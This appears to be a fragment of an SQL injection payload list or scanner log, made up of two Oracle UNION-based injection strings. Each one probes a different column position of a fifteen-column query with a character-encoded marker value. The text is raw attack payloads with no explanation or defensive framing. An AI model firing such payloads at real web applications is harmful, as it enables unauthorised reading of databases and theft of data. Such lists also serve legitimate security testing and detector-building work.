s and 1=2 union all select chr(54)||chr(56)||chr(50)||chr(55)||chr(49),null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--
s and 1=2 union all select null,chr(54)||chr(56)||chr(50)||chr(55)||chr(49),null,null,null,null,null,null,null,null,null,null,null,null,null from dual--